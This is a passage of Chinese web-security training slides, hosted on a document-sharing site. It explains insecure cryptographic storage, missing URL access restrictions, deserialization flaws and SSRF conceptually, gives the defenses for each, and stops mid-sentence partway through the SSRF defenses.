6、不安全的加密存儲(chǔ)常見(jiàn)的問(wèn)題:對(duì)敏感信息沒(méi)有加密;繼續(xù)使用已被證明加密強(qiáng)度不高的算法(MD5,SHA-1,RC3,RC4,etc.);加密方法使用不安全,比如對(duì)加密口令的存儲(chǔ)不加保護(hù);嘗試使用自己發(fā)明的加密方法(實(shí)踐證明這種方法比較糟糕?。?、不安全的加密存儲(chǔ)示例CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶在Web表單中填寫(xiě)信用卡號(hào)提交2由于商家的網(wǎng)關(guān)不可達(dá),交易失敗,錯(cuò)誤處理日志將問(wèn)題詳細(xì)記錄下來(lái)4使用惡意代碼從日志文件中偷取數(shù)萬(wàn)計(jì)的信用卡號(hào)Logfiles3日志文件可被相關(guān)IT職員訪問(wèn),用于程序調(diào)試6、防御不安全的加密存儲(chǔ)如非必要,不要保存敏感信息;確保所有的敏感信息都被加密,檢查敏感信息的歸檔過(guò)程和政策;只使用經(jīng)過(guò)證明的標(biāo)準(zhǔn)加密算法;小心存儲(chǔ)口令、證書(shū)等信息。7、URL訪問(wèn)缺少限制

Frequently,anapplicationonlyprotectssensitivefunctionalitybypreventingthedisplayoflinksorURLstounauthorizedusers.AttackerscanusethisweaknesstoaccessandperformunauthorizedoperationsbyaccessingthoseURLsdirectly.OWASPDefinition

7、URL訪問(wèn)缺少限制當(dāng)Web應(yīng)用缺少對(duì)某些URL的訪問(wèn)限制,攻擊者可以直接在瀏覽器中輸入U(xiǎn)RL來(lái)訪問(wèn)。比如:Add_account_form.php在顯示這個(gè)表單頁(yè)時(shí)要先對(duì)用戶的管理員角色進(jìn)行驗(yàn)證;表單填好后發(fā)送給add_acct.php執(zhí)行添加帳號(hào)的功能;

如果不限制add_acct.php的直接訪問(wèn),攻擊者直接在瀏覽器中訪問(wèn)該頁(yè)面,就繞過(guò)了權(quán)限檢查。7、防御缺少限制的URL訪問(wèn)從需求階段就要制定詳細(xì)的安全策略;從頁(yè)面到每一個(gè)功能,都只由相應(yīng)的經(jīng)過(guò)認(rèn)證的角色來(lái)訪問(wèn);訪問(wèn)控制策略越簡(jiǎn)單越好。從早期做起!徹底地測(cè)試!進(jìn)行詳盡地測(cè)試保證訪問(wèn)控制沒(méi)有被旁路;嘗試所有的非法訪問(wèn);測(cè)試時(shí)不要跟隨Web應(yīng)用的正常工作流;序列化(serialization)是指將內(nèi)存中對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问剑⑥D(zhuǎn)換后的數(shù)據(jù)寫(xiě)入到臨時(shí)或持久性存儲(chǔ)區(qū)。反序列化(unserialization)則是執(zhí)行相反的過(guò)程,從序列化的表示形式中提取數(shù)據(jù),并直接設(shè)置對(duì)象狀態(tài),重新創(chuàng)建該對(duì)象。8、反序列化安全漏洞當(dāng)Web應(yīng)用接收序列化數(shù)據(jù),并將其反序列化后,未經(jīng)任何過(guò)濾將數(shù)據(jù)傳輸?shù)矫舾胁僮骱瘮?shù),例如文件讀寫(xiě)函數(shù)file_put_contents()以及修改cookie或者session函數(shù)等。如果序列化數(shù)據(jù)為對(duì)象時(shí),則可能將對(duì)象成員變量設(shè)置為特殊值,當(dāng)這些成員變量被使用時(shí),就有可能觸發(fā)漏洞。8、反序列化安全漏洞Web服務(wù)器經(jīng)常需要從別的服務(wù)器獲取數(shù)據(jù),比如文件載入、圖片拉取、圖片識(shí)別等,如果獲取數(shù)據(jù)的服務(wù)器地址可控,攻擊者就可以通過(guò)Web服務(wù)器自定義向別的服務(wù)器(內(nèi)網(wǎng)或外網(wǎng))發(fā)出請(qǐng)求。9、服務(wù)器端請(qǐng)求偽造(SSRF)防御措施如果Web應(yīng)用程序需要在請(qǐng)求中傳遞URL,則應(yīng)盡量使用IP

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論